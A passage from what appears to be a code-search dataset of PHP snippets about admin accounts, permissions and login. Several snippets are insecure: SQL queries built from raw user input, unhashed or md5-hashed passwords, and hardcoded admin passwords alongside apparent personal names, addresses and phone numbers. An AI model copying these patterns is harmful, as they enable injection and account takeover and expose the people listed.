($PCOVAR_ListaUsuarios!=\"\")\n\t\t $ListaAdministradores=$ListaAdministradores.\",\".$PCOVAR_ListaUsuarios;\n\n\t\t$ArregloAdmins=explode(\",\",$ListaAdministradores);\n\n\t\t//Recorre el arreglo de super-usuarios\n\t\t$Resultado = 0;\n\t\tif ($Usuario!=\"\")\n\t\t\tforeach ($ArregloAdmins as $UsuarioAdmin)\n\t\t\t\t{\n\t\t\t\t\tif (trim($UsuarioAdmin)==$Usuario)\n\t\t\t\t\t\t$Resultado = 1;\n\t\t\t\t}\n\t\treturn $Resultado;\n\t}", "title": "" }, { "docid": "ff647bbb9e26ff9e957343935bfe7395", "score": "0.6145273", "text": "private function CRUDExecuterAdminAdd() {\n\t\tif ((isset($_POST['email']) && !empty($_POST['email'])) && (isset($_POST['password']) && !empty($_POST['password'])) && (isset($_POST['confirmPassword']) && !empty($_POST['confirmPassword']))) {\n\t\t\t$email = htmlspecialchars($_POST['email']);\n\t\t\t$password = htmlspecialchars($_POST['password']);\n\t\t\t$passwordConfirmation = htmlspecialchars($_POST['confirmPassword']);\n\n\t\t\tif ($password === $passwordConfirmation) {\n\t\t\t\tif (preg_match('/^(?=.*[!@#$%^&*-])(?=.*[0-9])(?=.*[A-Z]).{8,20}$/', $password)) {\n\t\t\t\t\tif (filter_var($email, FILTER_VALIDATE_EMAIL)) {\n\t\t\t\t\t\tif (!$this->_adminManager->getOneAdmin($email)) {\n\t\t\t\t\t\t\t$this->_adminManager->insertOneAdmin(array('email' => $email, 'password' => $password));\n\n\t\t\t\t\t\t\t$this->_informationMessageCreate = 'The new administrator has been correctly created';\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$this->_errorMessageCreate = 'This email address is already in use';\n\t\t\t\t\t\t\t$this-> CRUDRouter('admins');\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$this->_errorMessageCreate = 'Please enter a valid email';\n\t\t\t\t\t\t$this->CRUDRouter('admins');\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t$this->_errorMessageCreate = 'The password must have a minimum length of 8 characters and must be composed of at least one upper case letter one lower case letter one number and one special character';\n\t\t\t\t\t$this->CRUDRouter('admins');\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$this->_errorMessageCreate = 'Password and password confirmation do not match';\n\t\t\t\t$this->CRUDRouter('admins');\n\t\t\t}\t\t\t\t\t\t\n\t\t} else {\n\t\t\t$this->_errorMessageCreate = 'Please fill in all fields';\n\t\t\t$this->CRUDRouter('admins');\n\t\t}\n\t}", "title": "" }, { "docid": "9a87c5ebf56396d954693ee6ea09f0a1", "score": "0.6141149", "text": "function remueveBarraAdmin() \n{\n\tif (!current_user_can('administrator') && !is_admin()) \n\t{\n\t show_admin_bar(false);\n\t}\n}", "title": "" }, { "docid": "fa7af0af17c242989b8c3bf74553ee72", "score": "0.6133861", "text": "function PCO_PermisoHeredadoAccion($PCO_Accion)\n\t{\n\t\tglobal $PCOSESS_LoginUsuario,$TablasCore;\n\t\t// Variable que determina el estado de aceptacion o rechazo del permiso 0=no permiso 1=ok permiso\n\t\t$retorno=0;\n\n\t\t// Verifica mapeo de permisos para acciones que llaman a otras, heredadas. Valores en = 1 son funciones publicas:\n\t\t// FUNCION_solicitada_por_el_usuario\t\t\t\tFUNCION_madre_de_entrada_a_funcion_solicitada\n\t\tif ($PCO_Accion== \"PCO_MisInformes\")\t\t\t\t\t$retorno = 1;\n\t\tif ($PCO_Accion== \"PCO_GuardarInforme\")\t\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarInformes\");\n\t\tif ($PCO_Accion== \"PCO_EditarInforme\")\t\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarInformes\");\n\t\tif ($PCO_Accion== \"PCO_ClonarDisenoInforme\")\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarInformes\");\n\t\tif ($PCO_Accion== \"PCO_DefinirCopiaInformes\")\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarInformes\");\n\t\tif ($PCO_Accion== \"PCO_EliminarInforme\")\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarInformes\");\n\t\tif ($PCO_Accion== \"PCO_EliminarInformeTabla\")\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarInformes\");\n\t\tif ($PCO_Accion== \"PCO_GuardarInformeTabla\")\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarInformes\");\n\t\tif ($PCO_Accion== \"PCO_EliminarInformeCampo\")\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarInformes\");\n\t\tif ($PCO_Accion== \"PCO_GuardarInformeCampo\")\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarInformes\");\n\t\tif ($PCO_Accion== \"PCO_GuardarInformeCondicion\")\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarInformes\");\n\t\tif ($PCO_Accion== \"PCO_EliminarInformeCondicion\")\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarInformes\");\n\t\tif ($PCO_Accion== \"PCO_ActualizarGraficoInforme\")\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarInformes\");\n\t\tif ($PCO_Accion== \"PCO_ActualizarAgrupamientoInforme\")\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarInformes\");\n\t\tif ($PCO_Accion== \"PCO_GuardarAccionInforme\")\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarInformes\");\n\t\tif ($PCO_Accion== \"PCO_EliminarRegistroInforme\")\t\t$retorno = 1;\n\t\tif ($PCO_Accion== \"PCO_EliminarAccionInforme\")\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarInformes\");\n\t\tif ($PCO_Accion== \"PCO_ExportarInforme\")\t\t\t\t$retorno = 1;\n\t\tif ($PCO_Accion== \"PCO_ImportarInforme\")\t\t\t\t$retorno = 1;\n\t\tif ($PCO_Accion== \"PCO_AnalizarImportacionInforme\")\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarInformes\");\n\t\tif ($PCO_Accion== \"PCO_ConfirmarImportacionInforme\")\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarInformes\");\n\n\t\t// Funciones en core/usuarios.php\n\t\tif ($PCO_Accion== \"PCO_CambiarContrasena\")\t\t\t\t$retorno = 1;\n if ($PCO_Accion== \"PCO_ActualizarPerfilUsuario\")\t\t$retorno = 1;\n if ($PCO_Accion== \"PCO_GuardarPerfilUsuario\")\t\t\t$retorno = 1;\n\t\tif ($PCO_Accion== \"PCO_ActualizarContrasena\")\t\t\t$retorno = PCO_PermisoHeredadoAccion(\"PCO_CambiarContrasena\");\n/*\n\t\tif ($PCO_Accion== \"PCO_ResetearContrasena\")\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_ListarUsuarios\");\n\t\tif ($PCO_Accion== \"PCO_AgregarUsuario\")\t\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_ListarUsuarios\");\n\t\tif ($PCO_Accion== \"PCO_GuardarUsuario\")\t\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_ListarUsuarios\");\n\t\tif ($PCO_Accion== \"PCO_EliminarUsuario\")\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_ListarUsuarios\");\n\t\tif ($PCO_Accion== \"PCO_CambiarEstadoUsuario\")\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_ListarUsuarios\");\n\t\tif ($PCO_Accion== \"PCO_PermisosUsuario\")\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_ListarUsuarios\");\n\t\tif ($PCO_Accion== \"PCO_AgregarPermiso\")\t\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_ListarUsuarios\");\n\t\tif ($PCO_Accion== \"PCO_EliminarPermiso\")\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_ListarUsuarios\");\n\t\tif ($PCO_Accion== \"PCO_InformesUsuario\")\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_ListarUsuarios\");\n\t\tif ($PCO_Accion== \"PCO_AgregarInformeUsuario\")\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_ListarUsuarios\");\n\t\tif ($PCO_Accion== \"PCO_EliminarInformeUsuario\")\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_ListarUsuarios\");\n if ($PCO_Accion== \"PCO_CopiarPermisos\")\t\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_ListarUsuarios\");\n if ($PCO_Accion== \"PCO_CopiarInformes\")\t\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_ListarUsuarios\");\n*/\n if ($PCO_Accion== \"PCO_AgregarUsuarioAutoregistro\")\t\t$retorno = 1;\n if ($PCO_Accion== \"PCO_GuardarUsuarioAutoregistro\")\t\t$retorno = 1;\n\n\t\t// Funciones en core/menus.php\n\t\tif ($PCO_Accion== \"PCO_VerMenu\")\t\t\t\t\t\t$retorno = 1;\n\t\tif ($PCO_Accion== \"PCO_ReportarBugs\")\t\t\t\t\t$retorno = 1;\n\t\tif ($PCO_Accion== \"PCO_BuscarPermisosPractico\")\t\t\t$retorno = 1;\n\t\tif ($PCO_Accion== \"PCO_EliminarMenu\")\t\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCOFUNC_AdministrarMenu\");\n\t\t// Funciones en core/tablas.php\n\t\tif ($PCO_Accion== \"PCO_AsistenteTablas\")\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarTablas\");\n\t\tif ($PCO_Accion== \"PCO_GuardarCrearTablaAsistente\")\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarTablas\");\n\t\tif ($PCO_Accion== \"PCO_EditarTabla\")\t\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarTablas\");\n\t\tif ($PCO_Accion== \"PCO_EliminarTabla\")\t\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarTablas\");\n\t\tif ($PCO_Accion== \"PCO_EliminarCampoTabla\")\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarTablas\");\n\t\tif ($PCO_Accion== \"PCO_GuardarCrearCampo\")\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarTablas\");\n\t\tif ($PCO_Accion== \"PCO_GuardarCrearTabla\")\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarTablas\");\n\t\tif ($PCO_Accion== \"PCO_DefinirCopiaTablas\")\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarTablas\");\n\t\tif ($PCO_Accion== \"PCO_CopiarTabla\")\t\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarTablas\");\n\t\tif ($PCO_Accion== \"PCO_ImportarTabla\")\t\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarTablas\");\n\t\tif ($PCO_Accion== \"PCO_ConfirmarImportacionTabla\")\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarTablas\");\n\t\tif ($PCO_Accion== \"PCO_AnalizarImportacionCSV\")\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarTablas\");\n\t\tif ($PCO_Accion== \"PCO_EscogerTablaImportacionCSV\")\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarTablas\");\n\t\tif ($PCO_Accion== \"PCO_EjecutarImportacionCSV\")\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarTablas\");\n\n\t\t// Funciones en core/formularios.php\n\t\tif ($PCO_Accion== \"PCO_GuardarDatosFormulario\")\t\t\t$retorno = 1;\n\t\tif ($PCO_Accion== \"PCO_EliminarDatosFormulario\")\t\t$retorno = 1;\n\t\tif ($PCO_Accion== \"PCO_ActualizarDatosFormulario\")\t\t$retorno = 1;\n\t\tif ($PCO_Accion== \"PCO_EjecutarPostAccionForm\")\t\t $retorno = 1;\n\t\tif ($PCO_Accion== \"PCO_EditarEventoObjeto\")\t\t $retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarFormularios\");\n\t\tif ($PCO_Accion== \"PCO_ActualizarFormulario\")\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarFormularios\");\n\t\tif ($PCO_Accion== \"PCO_CopiarFormulario\")\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarFormularios\");\n\t\tif ($PCO_Accion== \"PCO_DefinirCopiaFormularios\")\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarFormularios\");\n\t\tif ($PCO_Accion== \"PCO_GuardarFormulario\")\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarFormularios\");\n\t\tif ($PCO_Accion== \"PCO_EliminarFormulario\")\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarFormularios\");\n\t\tif ($PCO_Accion== \"PCO_EditarFormulario\")\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarFormularios\");\n\t\tif ($PCO_Accion== \"PCO_EliminarCampoFormulario\")\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_EditarFormulario\");\n\t\tif ($PCO_Accion== \"PCO_GuardarAccionFormulario\")\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_EditarFormulario\");\n\t\tif ($PCO_Accion== \"PCO_EliminarAccionFormulario\")\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_EditarFormulario\");\n\t\tif ($PCO_Accion== \"PCO_ConfirmarImportacionFormulario\")\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarFormularios\");\n\t\tif ($PCO_Accion== \"PCO_AnalizarImportacionFormulario\")\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarFormularios\");\n\t\tif ($PCO_Accion== \"PCO_ImportarFormulario\")\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_AdministrarFormularios\");\n\t\tif ($PCO_Accion== \"PCO_DesplazarObjetosForm\")\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"PCO_EditarFormulario\");\n\n\t\t// Funciones en core/sesion.php\n\t\tif ($PCO_Accion== \"Iniciar_login\")\t\t\t\t\t\t$retorno = 1;\n\t\tif ($PCO_Accion== \"Terminar_sesion\")\t\t\t\t\t$retorno = 1;\n\t\tif ($PCO_Accion== \"Mensaje_cierre_sesion\")\t\t\t\t$retorno = 1;\n\t\t// Funciones en core/objetos.php\n\t\tif ($PCO_Accion== \"PCO_CargarObjeto\")\t\t\t\t\t$retorno = 1;\n\t\t// Funciones en core/actualizacion.php\n\t\tif ($PCO_Accion== \"cargar_archivo\")\t\t\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"actualizar_practico\");\n\t\tif ($PCO_Accion== \"analizar_parche\")\t\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"actualizar_practico\");\n\t\tif ($PCO_Accion== \"aplicar_parche\")\t\t\t\t\t\t$retorno = PCO_PermisoAgregadoAccion(\"actualizar_practico\");\n\t\t// Funciones en core/ajax.php\n\t\tif ($PCO_Accion== \"PCO_ObtenerOpcionesComboBox\")\t\t$retorno = 1;\n\t\tif ($PCO_Accion== \"valor_campo_tabla\")\t\t\t\t\t$retorno = 1;\n\t\tif ($PCO_Accion== \"PCO_ObtenerOpcionesAjaxSelect\")\t\t$retorno = 1;\n\n\t\t// Funciones en core/kanban.php\n if ($PCO_Accion==\"PCO_ExplorarTablerosKanban\") $retorno = 1;\n if ($PCO_Accion==\"PCO_ExplorarTablerosGantt\") $retorno = 1;\n if ($PCO_Accion==\"EliminarTableroKanban\") $retorno = 1; //PCO_PermisoAgregadoAccion(\"PCO_ExplorarTablerosKanban\")\n if ($PCO_Accion==\"GuardarCreacionKanban\") $retorno = 1;\n if ($PCO_Accion==\"ArchivarTareaKanban\") $retorno = 1;\n if ($PCO_Accion==\"GuardarTareaKanban\") $retorno = 1;\n if ($PCO_Accion==\"EliminarTareaKanban\") $retorno = 1;\n if ($PCO_Accion==\"GuardarPersonalizacionKanban\") $retorno = 1;\n if ($PCO_Accion==\"PCO_ExplorarTablerosKanbanResumido\") $retorno = 1;\n\n if (PCO_EsAdministrador($PCOSESS_LoginUsuario))\n {\n if ($PCO_Accion==\"PCO_LimpiarCacheSQL\") $retorno = 1;\n }\n\n //VALIDA OTRAS ACCOIONES ESPECIALES\n\n //Verifica cambios de estado en tableros kanban de usuarios razo\n if ($PCO_Accion==\"cambiar_estado_campo\")\n {\n //Valida si el usuario tiene al menos un kanban, si la accion es sobre la tabla de kanban\n $RegistroTableros=PCO_EjecutarSQL(\"SELECT id FROM \".$TablasCore.\"kanban WHERE archivado<>1 AND categoria='[PRACTICO][ColumnasTablero]' AND (login_admintablero='$PCOSESS_LoginUsuario' OR compartido_rw LIKE '%|$PCOSESS_LoginUsuario|%') LIMIT 0,1 \")->fetch();\n if ($RegistroTableros[\"id\"]!=\"\" && $tabla=\"kanban\")\n $retorno = 1;\n }\n\n\t\t//echo $PCOSESS_LoginUsuario.':Permiso heredado accion='.$PCO_Accion.':'.$retorno.'<br>'; //Activar para depuracion permisos\n\t\treturn $retorno;\n\t}", "title": "" }, { "docid": "759738e4b4b773e032470d31344ec79f", "score": "0.61287874", "text": "function module_administrateur($action, $id) {\n if ($action === \"connexion_form\") {\n connexion_form();\n } elseif ($action === \"connexion_traite\") {\n connexion_traite();\n } elseif ($action === \"deconnexion\") {\n deconnexion();\n } elseif ($action === \"contact_form\") {\n contact_form();\n } elseif ($action === \"contact_traite\") {\n contact_traite();\n } else {\n connexion_form();\n }\n}", "title": "" }, { "docid": "f36e611a13724433ef37ebf61c6a3893", "score": "0.6127433", "text": "function permiso_capturista()\n {\n if($this->session->userdata('usuario_rol') != '2')\n {\n redirect('tpoadminv1/securecms/sin_permiso');\n }else if($this->session->userdata('usuario_id_so_atribucion') != 1 && $this->session->userdata('usuario_id_so_atribucion') != 3 ){\n redirect('tpoadminv1/securecms/sin_permiso');\n }\n }", "title": "" }, { "docid": "9681792178246511786d2be3115a82e8", "score": "0.61257035", "text": "public function Editar()\n\t{\n\t\ttry\n\t\t{\n\t\t\tif(!$this->cn->leer(\"call SPUsuarioGet('','\".$this->seguridad->Encrypt(usuario::getUserName()).\"')\"))\n\t\t\t{\n\t\t\t\t//por medio del objeto de la clase datos llamamos el metodo encargado de hacer modificaciones en la base de datos\n\t\t\t\tif($this->cn->ejecutar(\"call SPUsuarioUpdate('\".usuario::getIdUsuario().\"','\".usuario::getNombre().\"','\".$this->seguridad->Encrypt(usuario::getCorreo()).\"','\".usuario::getFechaNacimiento().\"','\".usuario::getIdPerfil().\"')\"))\n\t\t\t\t{\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\tcatch(PDOException $e)\n\t\t{\n\t\t\t$this->log->write('Error en la clase Login metodo editar '.$e->getMessage());\n\t\t}\n\t}", "title": "" }, { "docid": "8478dc8f18e9713a6acd2aa6364f8ed5", "score": "0.612204", "text": "public function c_editarusr()\n\t\t{\n\t\t\t$cod = $this->input->post('hcod',TRUE);\n\t\t\t$login = $this->input->post('txtlogin',TRUE);\n\t\t\t$pass = $this->input->post('txtpassword',TRUE);\n\n\n\t\t\tif($cod != FALSE && $login != FALSE && $pass != FALSE)\n\t\t\t{\n\n\t\t\t\t$this->load->model('m_general');\n\t\t\t\t$this->m_general->m_editarusr($cod,$login,$pass);\n\t\t\t\t$this->index();\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\techo \"<script>\n\t\t\t\t\t\talert('Por favor ingrese una nueva clave.');\n\t\t\t\t\t</script>\";\n\t\t\t\t$this->c_bEditarUsr();\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "aa68b89bef947603d59d8d3835da6244", "score": "0.61182505", "text": "function editresource()\n\t{\n\t\t# if user is logged in but does not have role, redirect w/message\n\t}", "title": "" }, { "docid": "b7119fce6b3c957903d28b51d8a65607", "score": "0.6117291", "text": "public function registrarVenda(){\n echo \"Registrada com sucesso para o cliente \" . $this->getNome();\n }", "title": "" }, { "docid": "9259c485ad5627e9efa142e6a7bbd63c", "score": "0.61147684", "text": "protected function editar()\n {\n }", "title": "" }, { "docid": "9259c485ad5627e9efa142e6a7bbd63c", "score": "0.61147684", "text": "protected function editar()\n {\n }", "title": "" }, { "docid": "9259c485ad5627e9efa142e6a7bbd63c", "score": "0.61147684", "text": "protected function editar()\n {\n }", "title": "" }, { "docid": "f8e93d96159d85f81798bba64de914c2", "score": "0.6107967", "text": "function asignarPermisoUsuario($id, $permiso){\n $sentencia = $this->db->prepare(\"UPDATE usuario SET superAdmin=? WHERE id_usuario=?\");\n $sentencia->execute([$permiso, $id]);\n }", "title": "" }, { "docid": "fc23e384dbad805552f57a5ea6091083", "score": "0.6107203", "text": "public function alterar($id){\r\n \r\n if(isset($_POST['enviar'])){\r\n \r\n $senha=md5($_POST['password']);\r\n $sql=\"UPDATE noticias.usuario SET senha = '$senha' WHERE id = '$id'\";\r\n\r\n $conexao=Conexao::getConexao();\r\n $resultado=$conexao->query($sql);\r\n \r\n header('Location:'.HOME_URI.'usuario');\r\n \r\n\r\n }\r\n\r\n include HOME_DIR.\"view/paginas/usuarios/alterar.php\";\r\n}", "title": "" }, { "docid": "dcfa6863175d4b7fe38a6b657d19c3c1", "score": "0.61048186", "text": "function AdminBodyMain()\n\t{\tif ($this->user->CanUserAccess(\"administration\"))\n\t\t{\t$this->UserEditForm();\n\t\t}\n\t}", "title": "" }, { "docid": "339bce96a3202e659bd45f30c17b46fb", "score": "0.60974175", "text": "public function iniciarAdmin($correo,$contrasena){\n\t\t$regis=mysqli_query($this->conexionDB(),\"SELECT * from usuario where correo='$correo'\")or die(mysqli_error($this->conexionDB()));\n\t\tif($lo=mysqli_fetch_array($regis))\n\t\t{\n\t\t\tif($correo==$lo['correo']){\n\n\t\t\t\t$regis=mysqli_query($this->conexionDB(),\"SELECT * from usuario where contrasena='$contrasena'\")or die(mysqli_error($this->conexionDB()));\n\t\t\t\tif($lo=mysqli_fetch_array($regis))\n\t\t\t\t{\n\t\t\t\t\tif($contrasena==$lo['contrasena']){\n\t\t\t\t\t\tsession_start(); \n\t\t\t\t\t\t$_SESSION['id_usuario']=$lo['id_usuario'];\n\t\t\t\t\t\t$_SESSION['correo']=$lo['correo'];\n\t\t\t\t\t\t$_SESSION['Nombre_Usuario']=$lo['Nombre_Usuario'];\n\t\t\t\t\t\t$_SESSION['user_login_status'] = 1;\n\t\t\t\t\t\techo'<script>alert(\"Bienvenido a Mundo caricatura '.$_SESSION['Nombre_Usuario'].'\")</script>';\n\t\t\t\t\t\techo\"<script>location.href='../proceso/index.php'</script>\";\n\t\t\t\t\t}else{\n\t\t\t\t\t\techo'<script>alert(\"La contrasena que ingreso no es Correcta Intenta de nuevo.\")</script>';\n\t\t\t\t\t\techo\"<script>location.href='../sesion.php'</script>\";\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\n\t\t}else{\n\t\t\t$registros=mysqli_query($this->conexionDB(),\"SELECT * from tabla administrado where correo='$correo'\")or die(mysqli_error($this->conexionDB()));\n\t\t\tif($reg=mysqli_fetch_array($registros))\n\t\t\t{\n\t\t\t\t$registros=mysqli_query($this->conexionDB(),\"SELECT * from tabla administrado where contrasena='$contrasena'\")or die(mysqli_error($this->conexionDB()));\n\t\t\t\tif($reg=mysqli_fetch_array($registros)){\n\t\t\t\t\tsession_start(); \n\t\t\t\t\t$_SESSION['correo']=$reg['correo'];\n\t\t\t\t\t//$_SESSION['nombre']=$reg['ombre'];\n\t\t\t\t\t$_SESSION['user_login_status'] = 1;\n\t\t\t\t\techo'<script>alert(\"El administrador ha iniciado sesion\")</script>';\n\t\t\t\t\techo\"<script>location.href='../index.php'</script>\";\n\n\t\t\t\t}else{\n\t\t\t\t\techo '<script language=\"javascript\">alert(\"La contrasena que ingreso no es Correcta Intenta de nuevo.\");\n\t\t\t\t\twindow.location.href=\"../index.php\";\n\t\t\t\t\t</script>'; \n\t\t\t\t}\n\t\t\t}else{\n\t\t\t\techo '<script language=\"javascript\">alert(\"El Correo que ingresado no es Correcto Intenta de nuevo.\");\n\t\t\t\twindow.location.href=\"../index.php\";\n\t\t\t\t</script>'; \n\t\t\t}\t\n\n\t\t}\n\t}", "title": "" }, { "docid": "06eab10a08c7545c44fa156f0429631e", "score": "0.6087081", "text": "private function notAdministrator()\r\n\t{\r\n\t\t$this->registry->getObject('template')->buildFromTemplates( 'login.tpl.php' );\r\n\t\t$this->registry->notify('error', 'Access denied', 'Sorry, only administrators have permission to access the administration area');\r\n\t}", "title": "" }, { "docid": "e19c2dd1c0bc6e2189ee48f627f11caa", "score": "0.6079417", "text": "public function admin()\n\t{\n\t\t// if (Session::has('auth.usuarioPublico')) {\n\t\t\treturn view('admin');\n\t\t// } else {\n\t\t// return redirect('login');\n\t\t// }\n\t}", "title": "" }, { "docid": "a1b7e55a9e6f5a5907eb9bc99503a87d", "score": "0.6071875", "text": "public function MakeAdminUser(){\r\n\t\tif (!isset($db)){\r\n\t\t\t$db = new Database();\r\n\t\t\t$db->Database();\r\n\t\t}\r\n\t\t\r\n\t\t$sql = \"SELECT * FROM users WHERE username = 'admin'\";\r\n\t\t\r\n\t\t$haku = $db->AskSQL(\"$sql\");\r\n\t\t$tulos = mysql_fetch_row($haku);\r\n\t\t\r\n\t\tif (mysql_num_rows($haku) == 0){\r\n\t\t\t$this->username = \"admin\";\r\n\t\t\t$this->password = md5(\"aspire\");\r\n\t\t\t$this->firstname = \"Admin\";\r\n\t\t\t$this->lastname = \"Administrator\";\r\n\t\t\t$this->email = \"[email protected]\";\r\n\t\t\t$this->address = \"Hyllilänkuja 5B\";\r\n\t\t\t$this->zip = \"33730\";\r\n\t\t\t$this->postoffice = \"Tampere\";\r\n\t\t\t$this->country = \"FI\";\r\n\t\t\t$this->company = \"Heurex Oy\";\r\n\t\t\t$this->phone1 = \"040-4166005\";\r\n\t\t\t$this->phone2 = \"040-5616629\";\r\n\t\t\t$this->oikeustaso = \"99\";\r\n\t\t\t$this->tunniste = \"\";\r\n\t\t\t$this->location = \"\";\r\n\t\t\t$this->locationname = \"Tampere, Finland\";\r\n\t\t\t$this->project = \"\";\r\n\t\t\t$this->phone = \"\";\r\n\t\t\t$this->information = \"Administrator\";\r\n\t\t\t$this->user_ip = $this->getip();\r\n\t\t\t$sql = \"INSERT INTO users (username, password, firstname, lastname, email, address, zip, postoffice, country, company, \";\r\n\t\t\t$sql = $sql . \"phone1, phone2, oikeustaso, location, aktivointi, project, phone, information, cadmin, changeday, ip) VALUES \";\r\n\t\t\t$sql = $sql . \"('$this->username' , '$this->password', '$this->firstname', '$this->lastname','$this->email', '$this->address', \";\r\n\t\t\t$sql = $sql . \"'$this->zip','$this->postoffice', '$this->country', '$this->company', '$this->phone1', '$this->phone2', '$this->oikeustaso', '$this->location', '$this->aktivointi', '$this->project', '$this->phone', '$this->information', '$this->cadmin', NOW(), '$this->user_ip')\";\r\n\t\t\t$tulos = $db->UseSQL($sql);\t\r\n\t\t}\r\n\r\n\t\t$sql = \"SELECT * FROM users WHERE username = 'Tare'\";\r\n\t\t\r\n\t\t$haku = $db->AskSQL(\"$sql\");\r\n\t\t$tulos = mysql_fetch_row($haku);\r\n\t\t\r\n\t\tif (mysql_num_rows($haku) == 0){\r\n\t\t\t$this->username = \"Tare\";\r\n\t\t\t$this->password = md5(\"k9qqnor2\");\r\n\t\t\t$this->firstname = \"Markku\";\r\n\t\t\t$this->lastname = \"Tauriainen\";\r\n\t\t\t$this->email = \"[email protected]\";\r\n\t\t\t$this->address = \"Hikivuorenkatu 20 C 27\";\r\n\t\t\t$this->zip = \"33710\";\r\n\t\t\t$this->postoffice = \"Tampere\";\r\n\t\t\t$this->country = \"FI\";\r\n\t\t\t$this->company = \"T:mi Markku Tauriainen\";\r\n\t\t\t$this->phone1 = \"040-5616629\";\r\n\t\t\t$this->phone2 = \"040-5616629\";\r\n\t\t\t$this->oikeustaso = \"99\";\r\n\t\t\t$this->tunniste = \"\";\r\n\t\t\t$this->location = \"\";\r\n\t\t\t$this->locationname = \"Tampere, Finland\";\r\n\t\t\t$this->project = \"\";\r\n\t\t\t$this->phone = \"\";\r\n\t\t\t$this->information = \"Administrator\";\r\n\t\t\t$this->user_ip = $this->getip();\r\n\t\t\t$sql = \"INSERT INTO users (username, password, firstname, lastname, email, address, zip, postoffice, country, company, \";\r\n\t\t\t$sql = $sql . \"phone1, phone2, oikeustaso, location, aktivointi, project, phone, information, cadmin, changeday, ip) VALUES \";\r\n\t\t\t$sql = $sql . \"('$this->username' , '$this->password', '$this->firstname', '$this->lastname','$this->email', '$this->address', \";\r\n\t\t\t$sql = $sql . \"'$this->zip','$this->postoffice', '$this->country', '$this->company', '$this->phone1', '$this->phone2', '$this->oikeustaso', '$this->location', '$this->aktivointi', '$this->project', '$this->phone', '$this->information', '$this->cadmin', NOW(), '$this->user_ip')\";\r\n\t\t\t$tulos = $db->UseSQL($sql);\t\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "d7fb6cc46348d0acf938fc23f4a48e5c", "score": "0.6071102", "text": "function 